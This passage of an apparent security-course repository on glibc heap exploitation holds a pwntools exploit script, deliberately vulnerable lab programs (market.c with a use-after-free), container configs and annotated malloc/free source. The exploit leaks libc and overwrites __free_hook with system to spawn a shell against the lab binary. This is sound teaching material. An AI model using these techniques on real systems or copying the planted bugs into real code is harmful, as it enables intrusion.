r.sendlineafter("len of name:\n> ", str(nlen)) r.sendafter('name:\n> ', name) r.sendlineafter('where to keep (0 or 1) ?\n> ', str(idx)) def release(idx): r.sendlineafter('> ', '2') r.sendlineafter('which one to release (0 or 1) ?\n> ', str(idx)) def change(idx, nlen, name, len_change): r.sendlineafter('> ', '3') r.sendlineafter('which one to change (0 or 1) ?\n> ', str(idx)) if len_change == True: r.sendlineafter('will the len of name change (y/n) ?\n> ', 'y') r.sendlineafter("new len of name:\n> ", str(nlen)) else: r.sendlineafter('will the len of name change (y/n) ?\n> ', 'n') r.sendafter('new name:\n> ', name) def play(idx): r.sendlineafter('> ', '4') r.sendlineafter('which one to play (0 or 1) ?\n> ', str(idx)) # 1. 首先 allocate chunk size 0x420,釋放後再次取得,利用殘留在 chunk 的 unsorted bin 位址來 leak libc buy(0, 0x410, 'dummy') buy(1, 0x410, 'dummy') # 由於 freed chunk 相鄰 top chunk 時會觸發 consolidate,因此多放一塊 chk 來避免 release(0) buy(0, 0x410, 'AAAAAAAA') play(0) r.recvuntil('A'*8) # 從 bk 留下的 unsorted bin address 來 leak libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebbe0 _system = libc + 0x55410 __free_hook = libc + 0x1eeb28 one_shot = libc + 0xe6c84 binsh = libc + 0x1b75aa info(f"libc: {hex(libc)}") # 2. 再利用 UAF 去 leak tcache 的 fd,得到 heap address buy(0, 0x10, 'dummy') buy(1, 0x10, 'dummy') release(0) release(1) play(1) r.recvuntil('MEOW, I am a cute ') heap = u64(r.recv(6).ljust(8, b'\x00')) - 0xb40 info(f"heap: {hex(heap)}") if sys.argv[1] == '1': # 2. 從 tcache 當中依序取得 animals[1], animals[0],分別 assign 給 animals[1], # 以及覆蓋成任意資料 animals[1]->name,而 name 可控,因此可以覆蓋原本的 animals[0] # - type: b'/bin/sh\x00' + b'A'*0x8 # - len: 0xdeadbeef # - name: 0xdeadbeef # - bark: system buy(1, 0x28, b'/bin/sh\x00' + b'A'*0x8 + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(_system)) # 3. get shell play(0) elif sys.argv[1] == '2': # 2. 同上,不過這次要控 name 與 len,使其可以寫到其他 chunk 內的資料 # - type: b'A'*0x10 # - len: 0x10000 # - name: heap # - bark: 0xdeadbeef buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef)) buy(1, 0x10, 'dummy') # 3. 此時 animals[0] 可以寫 0x10000 大小的資料,並且 name 指向 heap+0xbe0, # 我們 hijack animals[1] 的 func ptr 成 one gadget 做利用 # - type: heap+0x100 (rdi: 指向 NULL 的 pointer) # - len: 0xdeadbeef # - name: heap+0x100 (rsi: 指向 NULL 的 pointer) # - bark: one gadget change(0, 0xffffffff, p64(heap+0x100) + p64(0) + p64(0xdeadbeef) + p64(heap+0x100) + p64(one_shot), False) # 4. 可惜 one gadget 中沒有我們都無法滿足條件,因此執行完後程式會 crash play(1) elif sys.argv[1] == '3': # 2. 同上,目標是要寫任意大小的 buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef)) buy(1, 0x10, 'dummy') release(1) # 3. 蓋寫 animals[0] 的 key 時需注意 release() 也會釋放 name 欄位,因此要塞入一個合法的 chunk 位址 change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb40), False) release(1) change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb90), False) release(1) # 4. 此時我們可以蓋寫 tcache fd 成 __free_hook - 8,而 __free_hook-8 ~ __free_hook 可以放 "/bin/sh\x00" change(0, 0xffffffff, p64(__free_hook - 8), False) # 當我們請求 0x28 大小的 chunk,會取得 __free_hook 的位址,寫入 system buy(1, 0x28, b'/bin/sh\x00' + p64(_system)) # 5. get shell release(1) else: print("NO :(") r.close() exit(1) r.interactive() ================================================ FILE: 2021/week2/hw/final/share/flag ================================================ FLAG{test} ================================================ FILE: 2021/week2/hw/final/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/final/final ================================================ FILE: 2021/week2/hw/final/xinetd ================================================ service final { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/final/run.sh user = final port = 30210 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/week2/lab/exp/market.py ================================================ #!/usr/bin/python3 from pwn import * r = process('./market') context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r.sendlineafter('need', 'n') r.sendlineafter('name', 'A') r.sendlineafter('long', str(0x280)) r.sendafter('secret', b'A'*0x80 + b'\xb0') gdb.attach(r) r.sendlineafter("> ", "4") r.sendlineafter('name', 'A') r.sendlineafter('long', str(0x10)) r.sendafter('secret', b'A'*0x10) r.interactive() ================================================ FILE: 2021/week2/lab/heapmath/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m heapmath RUN chown -R root:root /home/heapmath RUN chmod -R 755 /home/heapmath CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/week2/lab/heapmath/docker-compose.yml ================================================ version: '3' services: heapmath: build: ./ volumes: - ./share:/home/heapmath:ro - ./xinetd:/etc/xinetd.d/heapmath:ro ports: - "30208:30208" expose: - "30208" ================================================ FILE: 2021/week2/lab/heapmath/share/Makefile ================================================ all: gcc -g -o heapmath heapmath.c ================================================ FILE: 2021/week2/lab/heapmath/share/flag ================================================ FLAG{test} ================================================ FILE: 2021/week2/lab/heapmath/share/heapmath.c ================================================ #include #include #include #include #include #include int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); srand(time(NULL)); void *tcache_chk[7] = {0}; unsigned char tcachebin[3][7] = {0}; // 0x20, 0x30, 0x40 unsigned int tcachebin_counts[4] = {0}; unsigned long tcache_size[7] = {0}; unsigned long tcache_free_order[7] = {0}; puts("----------- ** tcache chall ** -----------"); unsigned long tmp = 0; for (int i = 0; i < 7; i++) { tmp = (rand() % 0x21) + 0x10; // 0x10 ~ 0x30 tcache_size[i] = tmp; } for (int i = 0; i < 7; i++) { repeat: tmp = rand() % 7; for (int j = 0; j < i; j++) if (tmp == tcache_free_order[j]) goto repeat; tcache_free_order[i] = tmp; } for (int i = 0; i < 7; i++) { tcache_chk[i] = malloc( tcache_size[i] ); printf("char *%c = (char *) malloc(0x%lx);\n", 'A' + i, tcache_size[i]); } for (int i = 0; i < 7; i++) { int idx = tcache_free_order[i]; free(tcache_chk[ idx ]); printf("free(%c);\n", 'A' + (unsigned char) idx); tmp = tcache_size[ idx ] - 0x8; if (tmp % 0x10) tmp = (tmp & ~0xf) + 0x20; else tmp += 0x10; unsigned int binidx = ((tmp - 0x20) / 0x10); unsigned int bincnt = tcachebin_counts[ binidx ]; tcachebin[ binidx ][ bincnt ] = 'A' + (unsigned char) idx; tcachebin_counts[ binidx ]++; } char tmpbuf[0x100] = {0}; char ansbuf[3][0x100] = {0}; for (int i = 0; i < 3; i++) { for (int j = 6; j >= 0; j--) if (tcachebin[i][j]) { sprintf(tmpbuf, "%c --> ", tcachebin[i][j]); strcat(ansbuf[i], tmpbuf); } strcat(ansbuf[i], "NULL"); } puts(""); for (int i = 0; i < 3; i++) { printf("[chunk size] 0x%x: ", (i+2) * 0x10); if (i == 0) { printf("%s\t(just send \"%s\")\n", ansbuf[i], ansbuf[i]); } else { printf("?\n> "); fgets(tmpbuf, 0x100, stdin); if (!strncmp(tmpbuf, ansbuf[i], strlen(ansbuf[i]))) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: \"%s\"\n", ansbuf[i]); exit(0); } } } puts("\n----------- ** address chall ** -----------"); int cmp1 = 0; int cmp2 = 0; unsigned long ans_addr = 0; cmp1 = rand() % 7; while ((cmp2 = rand() % 7) == cmp1); if (cmp1 > cmp2) { tmp = cmp1; cmp1 = cmp2; cmp2 = tmp; } printf("assert( %c == %p );\n", 'A' + cmp1, tcache_chk[ cmp1 ]); printf("%c == ?\t(send as hex format, e.g. \"%p\")\n> ", 'A' + cmp2, tcache_chk[ cmp1 ]); scanf("%s", tmpbuf); ans_addr = strtoul(tmpbuf, NULL, 16); if (ans_addr == (unsigned long) tcache_chk[ cmp2 ]) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: %p\n", tcache_chk[ cmp2 ]); exit(0); } puts("\n----------- ** index chall ** -----------"); unsigned long *fastbin[2] = {0}; unsigned long fastbin_size = 0; unsigned long secret_idx = 0, result_idx = 0, res = 0; fastbin_size = (rand() % 0x31) + 0x40; // 0x40 ~ 0x70 fastbin_size &= ~0xf; fastbin[0] = (unsigned long *) malloc( fastbin_size ); fastbin[1] = (unsigned long *) malloc( fastbin_size ); printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size); printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size); secret_idx = rand() % (fastbin_size / 8); fastbin[1][ secret_idx ] = 0xdeadbeef; result_idx = ((unsigned long)(&fastbin[1][ secret_idx ]) - (unsigned long)(&fastbin[0][0])) / 8; printf("Y[%lu] = 0xdeadbeef;\n", secret_idx); printf("X[?] == 0xdeadbeef\t(just send an integer, e.g. \"8\")\n> "); scanf("%lu", &res); if (fastbin[0][res] == 0xdeadbeef) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: %lu\n", result_idx); exit(0); } puts("\n----------- ** tcache fd chall ** -----------"); free(fastbin[0]); free(fastbin[1]); printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]); printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]); scanf("%s", tmpbuf); ans_addr = strtoul(tmpbuf, NULL, 16); if (ans_addr == *fastbin[1]) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: 0x%lx\n", *fastbin[1]); exit(0); } puts("\n----------- ** fastbin fd chall (final) ** -----------"); puts("[*] Restore the chunk to X and Y"); printf("%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size); printf("%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size); fastbin[1] = malloc(fastbin_size); fastbin[0] = malloc(fastbin_size); printf("[*] Do something to fill up 0x%lx tcache\n...\n[*] finish\n", fastbin_size + 0x10); void *tmpchk[7]; for (int i = 0; i < 7; i++) tmpchk[i] = malloc(fastbin_size); for (int i = 0; i < 7; i++) free(tmpchk[i]); printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]); free(fastbin[0]); free(fastbin[1]); printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]); scanf("%s", tmpbuf); ans_addr = strtoul(tmpbuf, NULL, 16); if (ans_addr == *fastbin[1]) { puts("Correct !"); memset(tmpbuf, 0, 0x31); int fd = open("/home/heapmath/flag", O_RDONLY); read(fd, tmpbuf, 0x30); close(fd); printf("Here is your flag: %s\n", tmpbuf); } else { puts("Wrong !"); printf("Ans: 0x%lx\n", *fastbin[1]); exit(0); } } ================================================ FILE: 2021/week2/lab/heapmath/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 1800 /home/heapmath/heapmath ================================================ FILE: 2021/week2/lab/heapmath/xinetd ================================================ service heapmath { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/heapmath/run.sh user = heapmath port = 30208 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/week2/lab/market/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m market RUN chown -R root:root /home/market RUN chmod -R 755 /home/market CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2021/week2/lab/market/docker-compose.yml ================================================ version: '3' services: market: build: ./ volumes: - ./share:/home/market:ro - ./xinetd:/etc/xinetd.d/market:ro ports: - "30209:30209" expose: - "30209" ================================================ FILE: 2021/week2/lab/market/share/Makefile ================================================ all: gcc -g -o market market.c ================================================ FILE: 2021/week2/lab/market/share/flag ================================================ FLAG{test} ================================================ FILE: 2021/week2/lab/market/share/market.c ================================================ #include #include #include #include #include ssize_t safe_read(int fd, void *ptr, size_t count) { int nread = 0; nread = read(fd, ptr, count); if (nread <= 0) exit(1); return nread; } void readstr(char *ptr, unsigned cnt) { int nread = 0; nread = safe_read(0, ptr, cnt + 1); ptr[nread - 1] = '\0'; } unsigned long readu64() { char str[0x20] = {0}; readstr(str, 0x10); return strtoul(str, NULL, 10); } typedef struct _User { char name[0x8]; char *secret; } User; int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); User *admin = malloc(sizeof(User)); User *you = NULL; strcpy(admin->name, "admin"); admin->secret = malloc(0x30); int fd = open("/home/market/flag", O_RDONLY); read(fd, admin->secret, 0x30); close(fd); char buf[0x10] = {0}; int nr = 0; printf("Do you need the admin ?\n> "); nr = read(0, buf, 0x4); if (buf[0] == 'n') { puts("Sad :("); free(admin); free(admin->secret); admin = NULL; } you = malloc(sizeof(User)); printf("What's your name ?\n> "); read(0, you->name, 0x7); unsigned long size = 0; printf("How long is your secret ?\n> "); size = readu64(); you->secret = malloc(size); printf("What's your secret ?\n> "); read(0, you->secret, size); unsigned long opt = 0; while (1) { puts("1. new name"); puts("2. show secret"); puts("3. steal the secret of admin"); puts("4. new secret"); printf("> "); opt = readu64(); if (opt == 1) { printf("What's your new name ?\n> "); read(0, you->name, 0x7); } else if (opt == 2) { printf("Your secret: %s\n", you->secret); } else if (opt == 3) { if (!admin) { puts("no admin"); } else { puts("you has been killed by admin"); exit(1); } } else if (opt == 4) { free(you->secret); printf("How long is your secret ?\n> "); size = readu64(); you->secret = malloc(size); printf("What's your secret ?\n> "); read(0, you->secret, size); } else { puts("bye ~"); break; } } return 0; } ================================================ FILE: 2021/week2/lab/market/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/market/market ================================================ FILE: 2021/week2/lab/market/xinetd ================================================ service market { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/market/run.sh user = market port = 30209 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2021/week2/src_review/free_internal.c ================================================ // disable squiggles first #define USE_TCACHE 1 // ANCHOR 1. __libc_free(): free 的進入點 void __libc_free (void *mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ // 如果 __free_hook 有定義的話,就會以 __free_hook 為 function pointer 去呼叫 void (*hook) (void *, const void *) = atomic_forced_read (__free_hook); if (__builtin_expect (hook != NULL, 0)) { (*hook)(mem, RETURN_ADDRESS (0)); return; } // free NULL 會直接回傳 if (mem == 0) return; // chunk2mem(): input 為 chunk 的起頭,output 為使用者拿到的 chunk // mem2chunk(): input 為使用者拿到的 chunk,output 為 chunk 的起頭 p = mem2chunk (mem); // ! 如果 chunk 是透過 mmap() 產生的,則會使用 unmap 來釋放 if (chunk_is_mmapped (p)) { ... munmap_chunk (p); return; } // 通常在 malloc 時會已經初始化完 tcache MAYBE_INIT_TCACHE (); // 檢查 chunk 的 NON_MAIN_ARENA bit,如果是 unset,則回傳 main_arena // 否則回傳 chunk 所屬的 heap 其對應到的 arena ar_ptr = arena_for_chunk (p); // ! _int_free 用來處理釋放記憶體的操作 _int_free (ar_ptr, p, 0); } // ANCHOR 2 _int_free(): ptmalloc 記憶體釋放的核心機制 static void _int_free (mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size; /* its size */ mfastbinptr *fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ // 取得 chunk size size = chunksize (p); // chunk pointer 需要 aligned,也不會在 address space 的結尾 if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr ("free(): invalid pointer"); // chunk 至少要大於 MINSIZE (0x20) 並且對其 MALLOC_ALIGNMENT (0x10) if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) malloc_printerr ("free(): invalid size"); // ! ---------------------- 第一、tcache ---------------------- { size_t tc_idx = csize2tidx (size); // 取得 chunk size 對應到的 tcache idx if (tcache != NULL && tc_idx < mp_.tcache_bins) { // 檢查 chunk 是否已經存在於 tcache 當中 tcache_entry *e = (tcache_entry *) chunk2mem (p); // 將此 chunk 視為 tcache entry 的話,對應 key 的位置極少可能是 tcache 的位址 // 所以條件滿足的話要進行額外的檢查 if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; // traverse 此 tcache bin 每個 entry,看是否有與要釋放的 chunk 相同 for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2"); } // 如果對應的 tcache bin 還沒滿,就放到當中並 return if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } } // ! ---------------------- 第二、fastbin ---------------------- // 若 chunk size 在 fastbin 的範圍中 if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())) { // 檢查下個 chunk 的大小是否在合法範圍內 if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)) { bool fail = true; if (fail) malloc_printerr ("free(): invalid next size (fast)"); } free_perturb (chunk2mem(p), size - 2 * SIZE_SZ); atomic_store_relaxed (&av->have_fastchunks, true); unsigned int idx = fastbin_index(size); // 取得對應大小的 fastbin idx fb = &fastbin (av, idx); // 取得對應 idx 的 fastbin 位址 // old 為 fastbin 中的第一個 chunk mchunkptr old = *fb, old2; if (SINGLE_THREAD_P) { // 如果即將被釋放的 chunk == fastbin 的第一個 chunk,則發生 double free if (__builtin_expect (old == p, 0)) malloc_printerr ("double free or corruption (fasttop)"); p->fd = old; *fb = p; } else { // multithread case ... } } // 如果 chunk 並非使用 mmap() 所建立 else if (!chunk_is_mmapped(p)) { // ! ---------------------- 第三、unsorted bin ---------------------- /* If we're single-threaded, don't lock the arena. */ if (SINGLE_THREAD_P) have_lock = true; // 取得下個相鄰 chunk 的位址 nextchunk = chunk_at_offset(p, size); // 要釋放的 chunk 為 top chunk if (__glibc_unlikely (p == av->top)) malloc_printerr ("double free or corruption (top)"); // 要下個 chunk 的位址已經超過 boundaries if (__builtin_expect (contiguous (av) && (char *) nextchunk >= ((char *) av->top + chunksize(av->top)), 0)) malloc_printerr ("double free or corruption (out)"); // 要釋放的 chunk 已經被下個 chunk mark 成沒在使用 (prev_inuse == 0) if (__glibc_unlikely (!prev_inuse(nextchunk))) malloc_printerr ("double free or corruption (!prev)"); // 取得下個相鄰 chunk 的大小 nextsize = chunksize(nextchunk); if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0) || __builtin_expect (nextsize >= av->system_mem, 0)) // 下個 chunk 的大小不合法 malloc_printerr ("free(): invalid next size (normal)"); free_perturb (chunk2mem(p), size - 2 * SIZE_SZ); // 上個相鄰 chunk 沒在使用,將他們合併 if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); unlink_chunk (av, p); } // 下個相鄰 chunk 若不是 top chunk if (nextchunk != av->top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize); // 如果下下個 chunk 的 prev_inuse == 0,代表下個 chunk 沒在用, // 就 consolidate 下個 chunk if (!nextinuse) { unlink_chunk (av, nextchunk); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0); // 將 chunk 放到 unsorted bin 當中 bck = unsorted_chunks(av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck)) malloc_printerr ("free(): corrupted unsorted chunks"); p->fd = fwd; p->bk = bck; if (!in_smallbin_range(size)) { p->fd_nextsize = NULL; p->bk_nextsize = NULL; } // 更新 fd 與 bk bck->fd = p; fwd->bk = p; set_head(p, size | PREV_INUSE); set_foot(p, size); check_free_chunk(av, p); } // 下個相鄰 chunk 是 top chunk,直接與 top chunk 合併 else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; check_chunk(av, p); } // FASTBIN_CONSOLIDATION_THRESHOLD == 65536 // 當釋放掉的 chunk 大小超過 65536 (0x10000),會 trigger malloc_consolidate() // 合併掉 fastbin 內的 chunk 來減少 fragmentation if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) { ... malloc_consolidate(av); } // trim memory 的操作 if (av == &main_arena) { ... /* single thread case */ } else { ... /* multithread case */ } } // ! 如果 chunk 用 mmap() 建立,則用 munmap 來釋放 else { munmap_chunk (p); } } // ANCHOR 3. tcache_put(): 釋放 chunk 至 tcache static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); // 將 key member 設為 tcache,藉此來偵測 double free e->key = tcache; // 更新指向下一個的 chunk e->next = tcache->entries[tc_idx]; // 更新 tcache_perthread_struct 指向的第一個 chunk tcache->entries[tc_idx] = e; // counter++ ++(tcache->counts[tc_idx]); } // ANCHOR 4. malloc_consolidate(): glibc 用於減少 fragmentation 的合併機制,與 free() 內部的實作類似,但是主要用來處理 fastbin static void malloc_consolidate(mstate av) { mfastbinptr* fb; /* current fastbin being consolidated */ mfastbinptr* maxfb; /* last fastbin (for loop control) */ mchunkptr p; /* current chunk being consolidated */ mchunkptr nextp; /* next chunk to consolidate */ mchunkptr unsorted_bin; /* bin header */ mchunkptr first_unsorted; /* chunk to link to */ /* These have same use as in free() */ mchunkptr nextchunk; INTERNAL_SIZE_T size; INTERNAL_SIZE_T nextsize; INTERNAL_SIZE_T prevsize; int nextinuse; atomic_store_relaxed (&av->have_fastchunks, false); unsorted_bin = unsorted_chunks(av); // 合併 fastbin 當中的 chunk,並且將合併後的 chunk 放入 unsorted bin 當中 maxfb = &fastbin (av, NFASTBINS - 1); // 取得 fastbin 最大的 index fb = &fastbin (av, 0); // 取得 &main.fastbinsY do { p = atomic_exchange_acq (fb, NULL); if (p != 0) { do { { unsigned int idx = fastbin_index (chunksize (p)); if ((&fastbin (av, idx)) != fb) malloc_printerr ("malloc_consolidate(): invalid chunk size"); } nextp = p->fd; // 取得下一塊 chunk // ! ------- 先往上個 merge ------- size = chunksize (p); // chunk szie nextchunk = chunk_at_offset(p, size); // 下一個 chunk 的位址 nextsize = chunksize(nextchunk); // 下一個 chunk 的 chunk size if (!prev_inuse(p)) { // 如果 chunk 的 prev_inuse 沒設,代表上一塊沒有用 prevsize = prev_size (p); // 取得上塊的大小 size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); // 取得上一塊 chunk 的位址 // 檢查上塊 chunk size 是否與紀錄的 size 相同 if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size in fastbins"); // 將上個 chunk 從原本所屬的 bin 取出 unlink_chunk (av, p); } // ! ------- 再往下個 merge ------- if (nextchunk != av->top /* 下個不是 top chunk,也就是並非最後一塊 chunk */) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize); // 如果下一塊沒在用 if (!nextinuse) { size += nextsize; // 將下個 chunk 從原本所屬的 bin 取出 unlink_chunk (av, nextchunk); } else clear_inuse_bit_at_offset(nextchunk, 0); // unset 下一塊 chunk 的 prev_inuse // unsorted 的第一塊 first_unsorted = unsorted_bin->fd; unsorted_bin->fd = p; // 更新 unsorted bin 的第一塊 first_unsorted->bk = p; // 原本的第一塊,變成第二塊 // 如果並非在 smallbin 的範圍,則清除殘留的 fd_nextsize 與 bk_nextsize if (!in_smallbin_range (size)) { p->fd_nextsize = NULL; p->bk_nextsize = NULL; } // 放入 unsorted bin 當中 set_head(p, size | PREV_INUSE); p->bk = unsorted_bin; p->fd = first_unsorted; set_foot(p, size); } else { // 由於下一塊為 top chunk,會直接被 merge 到 top chunk 當中 size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; } } while ( (p = nextp) != 0); // update 要檢查的下個 chunk,即是 chk->fd } } while (fb++ != maxfb); // traverse 所有 fastbin } ================================================ FILE: 2021/week2/src_review/malloc_internal.c ================================================ // disable squiggles first #define USE_TCACHE 1 // ANCHOR 1. __libc_malloc(): malloc 的進入點 void * __libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; // victim 會指向要被回傳的 chunk // ! 初始化 heap // 如果 __malloc_hook 有定義的話,就會以 __malloc_hook 為 function pointer 去呼叫 // 一開始的 __malloc_hook 會存放用來初始化 heap 的 function "ptmalloc_init()" void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); #if USE_TCACHE // 預設會是 true size_t tbytes; // 會將 malloc size 做 alignment 後轉成 chunk size 存於 tbytes if (!checked_request2size (bytes, &tbytes)) { __set_errno (ENOMEM); return NULL; } size_t tc_idx = csize2tidx (tbytes); // ! 初始化 tcache // 如果 tcache_perthread_struct 的結構還沒有被建立,則會呼叫 tcache_init(), // tcache_init() 會去請求 chunk size 為 0x290 的 chunk 給 tcache_perthread_struct, // 並將 tcache 的位址存放於 thread local storage 當中 MAYBE_INIT_TCACHE (); // ! ---------------------- 第一、tcache ---------------------- // 如果 tcache 對應的 index 內有 chunk 可以用 (tcache->counts[tc_idx] > 0), // 就會透過 tcache_get() 取得 chunk 並回傳給使用者 if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0) { return tcache_get (tc_idx); } #endif if (SINGLE_THREAD_P) // 如果是 single thread { // ! 呼叫 malloc 的核心 function // 使用 _int_malloc (internal malloc) 從 main_arena 內儲存的資訊取出 // chunk 回傳給使用者 victim = _int_malloc (&main_arena, bytes); // 檢查 chunk: (不是 NULL || chunk 用 mmap 所建立 || main_arena 為 chunk 的 arena) // mem2chunk(): input 為使用者拿到的 chunk,output 為 chunk 的起頭 // chunk2mem(): input 為 chunk 的起頭,output 為使用者拿到的 chunk assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))); return victim; } // 下面的程式碼為 multit-hread 時才會使用到 ... } // ANCHOR 2. tcache_get(): 從 tcache 中取得 chunk static __always_inline void * tcache_get (size_t tc_idx) { // 從 tcache_perthread_struct 取出對應 index 的第一個 chunk tcache_entry *e = tcache->entries[tc_idx]; // 更新對應 index 的第一個 chunk tcache->entries[tc_idx] = e->next; // counter-- --(tcache->counts[tc_idx]); // 清除 key 來避免殘留 heap 位址 e->key = NULL; return (void *) e; } // ANCHOR 3. _int_malloc(): ptmalloc 記憶體分配的核心機制 static void * _int_malloc (mstate av, size_t bytes) { INTERNAL_SIZE_T nb; /* normalized request size */ unsigned int idx; /* associated bin index */ mbinptr bin; /* associated bin */ mchunkptr victim; /* inspected/selected chunk */ INTERNAL_SIZE_T size; /* its size */ int victim_index; /* its bin index */ mchunkptr remainder; /* remainder from a split */ unsigned long remainder_size; /* its size */ unsigned int block; /* bit map traverser */ unsigned int bit; /* bit map traverser */ unsigned int map; /* current word of binmap */ mchunkptr fwd; /* misc temp for linking */ mchunkptr bck; /* misc temp for linking */ #if USE_TCACHE size_t tcache_unsorted_count; /* count of unsorted chunks processed */ #endif // ! 將 malloc size 轉為 chunk size // 會將 malloc size 做 alignment 後轉成 chunk size 存於 nb if (!checked_request2size (bytes, &nb)) { __set_errno (ENOMEM); return NULL; } // arena 為空,呼叫 sysmalloc() 來得到用 mmap() 產生的 chunk if (__glibc_unlikely (av == NULL)) { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; } // ! ---------------------- 第二、fastbin ---------------------- // 首先檢查 chunk size <= get_max_fast(),也就是 0x80 if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); // 取得 chunk size 在 fastbin 內的 idx // 取得 &main_arena.fastbinsY[idx] mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp; victim = *fb; // 要回傳的即是指向的第一塊 chunk if (victim != NULL) { if (SINGLE_THREAD_P) *fb = victim->fd; // 更新第一塊 chunk if (__glibc_likely (victim != NULL)) { // 取得 chunk 結構紀錄的 size 所對應到的 idx // 比較是否與 chunk size 對應到的 idx 相同 // 即為:如果回傳的 chunk 的大小不該屬於此 fastbin,則被判斷為 corrupt size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0)) malloc_printerr ("malloc(): memory corruption (fast)"); check_remalloced_chunk (av, victim, nb); #if USE_TCACHE // 此機制稱 tcache stash // 如果 fastbin 還有剩 chunk,就會嘗試把這些 chunk 放到 tcache 當中 size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins /* mp 為 malloc parameter,記錄一些 metadata */) { mchunkptr tc_victim; // 當 (fastbin 還有 chunk && tcache 還沒滿) while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) { if (SINGLE_THREAD_P) *fb = tc_victim->fd; // 放入 tcache 當中 tcache_put (tc_victim, tc_idx); } } // 可以發現 fastbin chunk 會以 reverse order 放入 tcache // 原本在 fastbin 的第一塊 chunk,在經過 tcache stash 後會變成 // 這些 fastbin chunk 中的最後一塊 #endif // 轉成回傳給使用者 mem ptr void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } } // ! ---------------------- 第三、smallbin ---------------------- // 如果 chunk 落於 